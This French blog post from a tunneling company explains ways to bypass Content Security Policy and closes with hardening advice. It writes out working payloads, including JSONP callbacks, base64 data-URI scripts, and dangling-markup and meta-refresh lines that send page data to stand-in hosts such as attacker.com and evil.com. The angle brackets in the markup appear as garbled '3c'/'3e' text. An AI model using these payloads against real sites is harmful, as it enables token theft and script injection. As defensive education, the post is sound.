Security
11 min read
2924 views

Contournement de la politique de sécurité du contenu : 1 000 façons de casser votre CSP 🛡️

IT
InstaTunnel Team
Published by our engineering team
Contournement de la politique de sécurité du contenu : 1 000 façons de casser votre CSP 🛡️

Découvrez les techniques sophistiquées utilisées par les attaquants pour contourner même les configurations CSP les plus strictes — des points de terminaison JSONP à l’injection de balises suspendues. Pourquoi votre CSP pourrait n’être qu’un théâtre de sécurité.

Introduction : La fausse impression de sécurité

La Content Security Policy (CSP) est devenue la norme pour protéger les applications web contre les attaques de type Cross-Site Scripting (XSS) et autres injections de contenu. La CSP est un mécanisme permettant de définir quelles ressources peuvent être récupérées ou exécutées par une page web, via des en-têtes de réponse ou des éléments meta dans la page HTML. Les organisations la déploient en toute confiance, croyant avoir érigé une forteresse imprenable autour de leurs applications.

Mais voici la vérité inconfortable : une politique CSP mal configurée peut être contournée, laissant l’application vulnérable. Dans de nombreux cas, la CSP fonctionne plus comme un théâtre de sécurité qu’une véritable protection — donnant aux développeurs une fausse impression de sécurité pendant que les attaquants exploitent des erreurs de configuration fondamentales et des particularités des navigateurs pour compromettre les applications.

Cet article explore l’arsenal sophistiqué de techniques utilisées par les attaquants pour contourner la CSP, révélant pourquoi même les politiques les plus soigneusement élaborées pourraient ne pas vous protéger aussi bien que vous le pensez.

Comprendre la Content Security Policy

Avant d’aborder les techniques de contournement, il est crucial de comprendre ce qu’est la CSP et comment elle est censée fonctionner.

La Content Security Policy est une norme W3C qui permet aux développeurs de contrôler le chargement des ressources et l’exécution de certains types de scripts dans une application web. Elle agit comme une couche supplémentaire de défense contre les attaques d’injection de contenu, notamment XSS.

La CSP fonctionne en définissant des directives qui précisent quelles ressources les navigateurs sont autorisés à charger et exécuter. Parmi les directives courantes :

  • script-src : contrôle les sources JavaScript autorisées
  • default-src : directive de secours pour d’autres types de ressources
  • img-src : sources valides pour les images
  • style-src : contrôle les sources de feuilles de style
  • connect-src : limite les URLs pouvant être chargées via des interfaces de script
  • frame-ancestors : sources valides pour l’intégration via iframes

Cependant, la CSP ne représente pas votre première ligne de défense mais votre défense en profondeur. Elle est conçue pour attraper les attaques qui échappent à la validation d’entrée et au codage de sortie, et non pour les remplacer entièrement.

Les idées fausses les plus dangereuses

L’un des plus grands problèmes liés au déploiement de la CSP est l’écart entre la théorie et la pratique. Beaucoup de développeurs mettent en œuvre la CSP sans en comprendre pleinement les limites, ce qui conduit à des vulnérabilités critiques.

Le piège ‘unsafe-inline’

L’utilisation de la valeur unsafe-inline dans la directive script-src rend la politique vulnérable et permet l’exécution de scripts en ligne. Cette erreur de configuration annule complètement la protection XSS de la CSP, car les attaquants peuvent injecter directement des balises script en ligne.

Domaines génériques : une bombe à retardement

Utiliser des jokers dans les politiques CSP peut sembler pratique, mais cela ouvre de graves failles de sécurité. En autorisant tout un domaine, vous faites confiance à chaque point de terminaison de ce domaine — y compris ceux qui pourraient être vulnérables ou conçus pour renvoyer du code exécutable.

Technique 1 : Exploitation des points de terminaison JSONP

Une des méthodes de contournement CSP les plus fiables consiste à exploiter les points de terminaison JSONP (JSON avec padding) sur des domaines autorisés.

Cette technique de contournement de la CSP repose sur l’exploitation des points de terminaison JSONP présents dans les domaines autorisés. Ces points de terminaison permettent de contourner la politique de même origine et de charger des données d’autres origines, tout en injectant du JavaScript dans la réponse sous forme de JSON.

Comment fonctionnent les contournements JSONP

JSONP exploite une balise script pour charger des données d’un domaine différent, puis enveloppe ces données dans un appel de fonction. Étant encapsulées dans une balise script, ces données peuvent contourner de nombreuses politiques CSP.

Considérez une politique CSP qui autorise accounts.google.com :

Content-Security-Policy: script-src 'self' accounts.google.com

Un attaquant peut exploiter cela avec :

3cscript src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"3e3c/script3e

La réponse renvoyée contient du JavaScript exécutable, permettant d’exécuter la fonction alert(1) via un script chargé depuis ce point de terminaison.

Il existe plusieurs points de terminaison CSP prêts à l’emploi dans JSONBee, rendant cette technique accessible même à des attaquants moins sophistiqués.

Impact dans le monde réel

Des plateformes majeures comme Google, Facebook, et d’innombrables CDN disposent de points de terminaison JSONP qui peuvent être exploités contre des sites qui whitelistent ces domaines. Il ne s’agit pas d’une vulnérabilité théorique — elle est activement exploitée dans la nature.

Technique 2 : Injection de balises suspendues

Lorsque le XSS complet n’est pas possible en raison des restrictions CSP, les attaquants se tournent vers l’injection de balises suspendues — une technique furtive pour exfiltrer des données sensibles sans exécuter de JavaScript.

L’injection de balises suspendues est une technique pour capturer des données cross-domain dans des situations où une attaque complète de type cross-site scripting n’est pas possible.

La mécanique de l’injection suspendue

L’idée est d’injecter du HTML partiel dans un état inachevé, comme un attribut src d’une balise image, et le reste du code sur la page ferme l’attribut tout en envoyant les données intermédiaires vers un serveur distant.

Considérez ce scénario d’injection :

INJECTION ICI
3c/b3etest3c/b3e
3c/script3e
  token = 'supersecret';
3c/script3e
3c/form action="blah" 3e3c/form3e

Un attaquant injecte :

3cimg src='https://attacker.com/exfil?data=

Le code généré capture tout jusqu’à la prochaine quote :

3cimg src='https://attacker.com/exfil?data=
3c/b3etest3c/b3e
3c/script3e
  token = 'supersecret';
3c/script3e
3c/form action="blah" 3e

Contourner la CSP avec la manipulation de la balise base

En utilisant l’attribut target sur la balise base, nous pouvons changer le nom de la fenêtre de chaque lien sur la page. En injectant un attribut target incomplet, le nom de la fenêtre sera défini avec tout le code après l’injection jusqu’à la quote correspondante sur chaque lien, permettant ainsi de voler des tokens.

Cette technique fonctionne même contre des politiques CSP restrictives car elle ne nécessite pas de charger des ressources externes ni d’exécuter des scripts — elle manipule simplement la structure HTML.

Injection avancée via iframe et srcdoc

L’attribut srcdoc des iframes offre un autre vecteur de contournement puissant que beaucoup de politiques CSP négligent.

La politique CSP ci-dessus peut être contournée en utilisant des iframes. La condition est que l’application autorise les iframes depuis le domaine whitelisté. En utilisant l’attribut spécial srcdoc de l’iframe, le XSS peut être facilement réalisé.

Considérez une politique comme :

Content-Security-Policy: default-src 'self' data: *; 
script-src 'self' https://trusted-cdn.com

Un attaquant peut injecter :

3ciframe srcdoc="3cscript src='https://trusted-cdn.com/vulnerable-endpoint.js'3e3c/script3e"3c/iframe3e

L’iframe hérite de la CSP parent mais peut charger du contenu qui contourne les restrictions via l’attribut srcdoc.

Technique 5 : URIs data en Base64

Lorsque la CSP autorise les URIs data: dans les sources de script, les attaquants peuvent encoder des scripts malveillants directement dans un format conforme à la politique.

La présence de data: dans la CSP permet l’inclusion de scripts encodés en Base64, qui seront interprétés directement par le navigateur.

Exemple d’exploitation :

3cscript src="data:;base64,YWxlcnQoMSk="3c/script3e

Cette technique fonctionne car le navigateur décode et exécute le JavaScript encodé en Base64, contournant ainsi les restrictions sur les ressources externes.

Technique 6 : Contournements spécifiques à AngularJS et frameworks

Les anciens frameworks JavaScript offrent leurs propres opportunités de contournement.

La politique CSP peut être contournée si l’application AngularJS charge des scripts depuis un domaine whitelisté.

Les versions d’AngularJS avant 1.6 sont particulièrement vulnérables en raison de faiblesses dans leur sandbox. Les attaquants peuvent créer des payloads qui échappent au sandbox et exécutent du code arbitraire dans ces frameworks obsolètes.

Le problème de dépendance au framework

Les applications web modernes dépendent souvent de nombreuses bibliothèques et frameworks JavaScript. Chaque dépendance peut introduire des vecteurs de contournement, surtout lorsqu’elles sont chargées depuis des CDN vulnérables.

Technique 7 : Hameçonnage de formulaires

Le hameçonnage de formulaires ne concerne pas l’exécution traditionnelle de scripts mais exploite plutôt des vulnérabilités d’injection HTML pour rediriger les soumissions de formulaires.

Lorsque la CSP ne comprend pas la directive form-action ou autorise les soumissions vers des domaines externes, les attaquants peuvent :

  1. Injecter un faux formulaire imitant une interface de connexion légitime
  2. Diriger les soumissions vers des serveurs contrôlés par l’attaquant
  3. Voler identifiants et données sensibles sans exécuter de JavaScript

Cette technique est particulièrement insidieuse car elle fonctionne même avec les politiques script-src les plus strictes.

Technique 8 : Traversée de chemin dans les politiques CSP

Une vulnérabilité subtile mais critique provient de la façon dont les navigateurs et les serveurs interprètent les chemins différemment.

Lorsque vous utilisez le / pour encoder ‘/’ dans votre politique CSP et que vous le pointez vers un dossier, cela sera toujours considéré comme faisant partie du dossier. Lors du décodage par le serveur, cela peut être contourné en utilisant “../”, contournant ainsi la restriction du dossier.

Par exemple, une politique limitant les scripts à /company/ peut être contournée avec :

https://example.com/company/../attacker/malicious.js

Technique 9 : Exploitation des balises Object et Embed

Bien que les balises script reçoivent la majorité de l’attention, les balises object et embed peuvent également exécuter du code.

3cobject data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="3e3c/object3e

Les contournements basés sur Flash utilisant ces balises peuvent aussi contourner la CSP lorsque des fichiers Flash legacy sont autorisés ou lorsque le src de l’objet n’est pas correctement restreint.

Technique 10 : Attaques par rafraîchissement de la balise Meta

Les balises meta offrent une autre voie pour l’exfiltration de données et la redirection :

3cmeta http-equiv="refresh" content="0;URL=http://evil.com/log.php?data="3e

Cela injecte une redirection pouvant capturer le contenu de la page suivante, utile pour voler des tokens et des informations sensibles.

Pourquoi votre CSP pourrait n’être qu’un théâtre de sécurité

La dure réalité est que de nombreuses implémentations CSP offrent peu de bénéfice réel en matière de sécurité. Voici pourquoi :

La complexité engendre des erreurs

La configuration CSP est notoirement complexe. Des configurations CSP peuvent être très compliquées, laissant des lacunes dans la couverture lorsqu’on utilise des applications web anciennes ou volumineuses.

Une seule erreur de configuration — comme inclure ‘unsafe-inline’ ou whitelister le mauvais domaine — peut annuler complètement la protection.

Le problème de la liste blanche

Chaque domaine en liste blanche est une potentielle voie d’attaque. À mesure que les applications s’intègrent à plus de services tiers, la liste blanche s’étend, augmentant exponentiellement la surface d’attaque.

Incohérences entre navigateurs

Différents navigateurs interprètent et appliquent la CSP de manière différente, créant une protection incohérente selon la plateforme. Les attaquants exploitent ces incohérences pour créer des contournements spécifiques à certains navigateurs.

Contraintes du code legacy

Même lorsque les vérifications sont contournées, la CSP bloque l’exécution de scripts depuis une source non prévue, neutralisant en grande partie l’attaque — mais seulement si elle est bien configurée. Les applications legacy ont souvent du mal à adopter des politiques CSP strictes sans casser la fonctionnalité.

Tester votre CSP pour détecter les vulnérabilités

Plusieurs outils peuvent aider à identifier les faiblesses de votre implémentation CSP :

  1. https://csp-evaluator.withgoogle.com/ 2. https://cspvalidator.org/

Ces évaluateurs analysent votre politique et détectent des erreurs courantes, mais ils ne peuvent pas repérer toutes les vulnérabilités — notamment celles spécifiques à votre application.

Approches de test manuel

Un test CSP efficace nécessite :

  1. D’identifier toutes les domaines en liste blanche
  2. De rechercher des points de terminaison JSONP sur ces domaines
  3. De tester les vulnérabilités d’injection HTML
  4. D’essayer diverses techniques de contournement de manière systématique
  5. D’analyser la gestion des cas limites par l’application

Bonnes pratiques pour renforcer la CSP

Bien qu’aucune CSP ne soit totalement invulnérable, certaines pratiques améliorent considérablement la sécurité :

Utiliser des Nonces ou des Hashs, pas des listes blanches

Évitez de whitelister entièrement des domaines. Utilisez plutôt une CSP basée sur nonce ou hash :

Content-Security-Policy: script-src 'nonce-RANDOM_VALUE'

Générez un nonce unique pour chaque chargement de page et ne permettez l’exécution que des scripts avec ce nonce.

Éliminer ‘unsafe-inline’ et ‘unsafe-eval’

Ces directives ne doivent jamais apparaître dans une politique CSP en production. Elles détruisent totalement la protection contre le XSS.

Restreindre toutes les directives

Ne vous concentrez pas uniquement sur script-src. Configurez :

  • object-src ‘none’ : pour empêcher l’exploitation via object et embed
  • base-uri ‘none’ : pour empêcher la manipulation de la balise base
  • form-action ‘self’ : pour limiter les soumissions de formulaire
  • frame-ancestors ‘none’ : pour prévenir le clickjacking

Mettre en œuvre le mode Report-Only avec précaution

Content-Security-Policy-Report-Only : utilisé pour la surveillance ; signale les violations sans les bloquer. Idéal pour tester en pré-production.

Utilisez le mode report-only pour tester vos politiques avant leur application, mais ne le laissez jamais activé en production.

Audits réguliers de sécurité

La CSP n’est pas une solution à mettre en place et oublier. Des audits réguliers doivent :

  • Examiner toutes les domaines en liste blanche pour JSONP
  • Tester de nouvelles techniques de contournement
  • Mettre à jour les politiques à mesure de l’évolution de l’application
  • Supprimer les domaines inutilisés

En-têtes Cache-Control

Les professionnels de la sécurité doivent désormais prendre en compte le comportement du cache lors de la mise en œuvre de protections CSP, en ajoutant éventuellement des en-têtes de contrôle de cache.

Des en-têtes de cache appropriés empêchent les attaques de fuite de nonce via le cache.

Approche de défense en profondeur

La CSP constitue une couche supplémentaire contre les injections de contenu. La première ligne de défense reste toujours l’encodage de sortie et la validation d’entrée.

Ne vous fiez jamais uniquement à la CSP. Une stratégie de sécurité globale inclut :

  1. Validation d’entrée : rejeter les entrées malveillantes avant qu’elles n’atteignent votre application
  2. Encodage de sortie : encoder correctement tout contenu généré par l’utilisateur
  3. CSP : attraper les attaques qui échappent aux autres défenses
  4. WAF (Web Application Firewall) : bloquer les modèles d’attaque connus
  5. En-têtes de sécurité : ajouter des en-têtes comme X-Content-Type-Options et X-Frame-Options
  6. Mises à jour régulières : maintenir à jour frameworks et bibliothèques

Études de cas réelles

L’incident JSONP de Google

De nombreuses applications whitelistant les domaines Google ont été victimes d’exploitation des points de terminaison JSONP. La endpoint oauth2/revoke est devenue une cible privilégiée pour contourner la CSP.

La faille de sandbox AngularJS

Plusieurs vulnérabilités graves dans AngularJS 1.x ont permis des évasions complètes du sandbox, compromettant des applications qui s’appuyaient sur la CSP pour leur protection.

Fuites de données sur des plateformes e-commerce

Plusieurs grandes plateformes e-commerce ont subi des fuites de données lorsque des attaquants ont utilisé le hameçonnage de formulaires pour voler les identifiants clients, malgré des politiques CSP apparemment strictes.

Menaces émergentes et préoccupations futures

À mesure que la sécurité web évolue, de nouvelles techniques de contournement apparaissent. Parmi les préoccupations émergentes :

Confusion autour de l’API Trusted Types

Alors que Trusted Types promet une meilleure protection contre le XSS, des erreurs d’implémentation peuvent créer de nouvelles opportunités de contournement.

Exploitation de WebAssembly

Avec la généralisation de WebAssembly, de nouveaux vecteurs d’attaque émergeront, que les implémentations CSP actuelles pourraient ne pas couvrir adéquatement.

Attaques par Service Worker

Les service workers fonctionnent en dehors des contraintes CSP traditionnelles, offrant potentiellement de nouvelles voies d’exploitation.

Conclusion : Aller au-delà du théâtre de sécurité

La Content Security Policy reste un mécanisme important, mais ce n’est pas la solution miracle que beaucoup pensent. La multitude de techniques de contournement — exploitation JSONP, injection de balises suspendues, manipulation du cache, attaques spécifiques aux frameworks — montre que la CSP seule ne peut pas sécuriser les applications web modernes.

L’avenir passe par :

  • Des attentes réalistes : comprendre les limites de la CSP
  • Une défense en profondeur : superposer plusieurs contrôles de sécurité
  • Une vigilance continue : auditer et mettre à jour régulièrement
  • Une sécurité dès la conception : intégrer la sécurité dès la phase de développement

Votre CSP peut paraître impressionnante lors des audits de sécurité, mais si elle comporte des erreurs de configuration ou des patterns vulnérables évoqués ici, elle ne sera qu’un théâtre de sécurité. Les attaquants connaissent ces techniques — il est temps que les défenseurs en prennent conscience.

La question n’est pas de savoir si votre CSP peut être contournée — mais combien de temps il faudra à un attaquant pour trouver la bonne technique. En comprenant ces méthodes de contournement et en déployant des défenses robustes, vous pouvez considérablement augmenter la barrière et protéger vos applications contre la prochaine génération d’attaques sophistiquées.

Souvenez-vous : la CSP n’est qu’une couche de votre stratégie de sécurité, pas la totalité. Déployez-la correctement, testez-la en profondeur, et ne supposez jamais qu’elle rend votre application invulnérable.

Continue from this article into the most relevant product guides and workflows.

Related Topics

## All CSP SEO Keywords - Copy-Ready List Content Security Policy bypass, CSP bypass techniques, CSP vulnerabilities, Content Security Policy exploitation, How to bypass CSP, CSP security flaws, CSP misconfiguration, Content Security Policy attacks, JSONP endpoint exploitation, Dangling markup injection, CSP nonce bypass, unsafe-inline CSP, CSP whitelist bypass, AngularJS CSP bypass, CSP evaluation tools, Browser cache CSP attack, Base64 CSP bypass, iframe srcdoc CSP, XSS CSP bypass, Content injection attacks, CSP best practices, Nonce-based CSP, Hash-based CSP, CSP report-only mode, Web application security, Defense in depth security, How to test Content Security Policy for vulnerabilities, CSP bypass using JSONP endpoints, Why Content Security Policy is not enough, Content Security Policy security theater, How attackers bypass strict CSP, CSP misconfiguration examples, Exploiting whitelisted domains in CSP, CSP bypass with dangling markup, Browser inconsistencies in CSP enforcement, CSP path traversal vulnerabilities, Form hijacking without JavaScript, Meta tag CSP bypass techniques, Object tag CSP exploitation, Legacy framework CSP vulnerabilities, CSP wildcard domain risks, How to harden Content Security Policy, CSP vs XSS protection, Modern CSP bypass methods 2025, Content Security Policy implementation errors, CSP directive misconfigurations, script-src directive, default-src CSP, object-src directive, base-uri CSP, form-action directive, frame-ancestors CSP, CSP evaluator, Trusted Types API, WebAssembly CSP, Service worker security, Same-origin policy bypass, Cross-site scripting prevention, Web security headers, HTTP security headers, X-Content-Type-Options, X-Frame-Options, Input validation techniques, Output encoding best practices, Google CSP evaluator, CSP validator tools, JSONBee CSP bypass, CSP analyzer, Web application firewall, Burp Suite CSP testing, OWASP CSP guidelines, Mozilla CSP documentation, CSP not blocking XSS, How to fix CSP vulnerabilities, Secure CSP configuration, CSP implementation guide, Preventing CSP bypass attacks, CSP security audit, Testing CSP effectiveness, CSP policy review, Hardening web application security, Multi-layer security strategy, Web security 2025, Modern web vulnerabilities, Application security testing, Penetration testing techniques, Bug bounty CSP findings, Web application pentesting, Security researcher techniques, Ethical hacking CSP, Cybersecurity best practices, DevSecOps CSP, Secure coding practices, SDLC security integration, What is Content Security Policy, How does CSP work, CSP bypass explained, Understanding CSP vulnerabilities, CSP security concepts, Types of CSP attacks, CSP testing tools, CSP vulnerability scanner, Buy CSP security solution, Enterprise CSP implementation, CSP monitoring service, CSP documentation, CSP specification W3C, OWASP CSP cheat sheet, Google CSP guide, Mozilla CSP reference, Cross-Site Scripting XSS prevention, Web Application Firewall configuration, Secure HTTP headers implementation, Input validation best practices, Output encoding techniques, OWASP Top 10 vulnerabilities, JavaScript security patterns, Browser security mechanisms, API security best practices, Modern authentication methods, Web Security, Application Security, Vulnerability Research, Security Testing, Penetration Testing, Ethical Hacking, Secure Development, Security Configuration, Browser Security, JavaScript Security, Frontend Security, Security Best Practices, Defensive Security, Offensive Security, Security Engineering

Keep building with InstaTunnel

Read the docs for implementation details or compare plans before you ship.

Share this article

More InstaTunnel Insights

Discover more tutorials, tips, and updates to help you build better with localhost tunneling.

Browse All Articles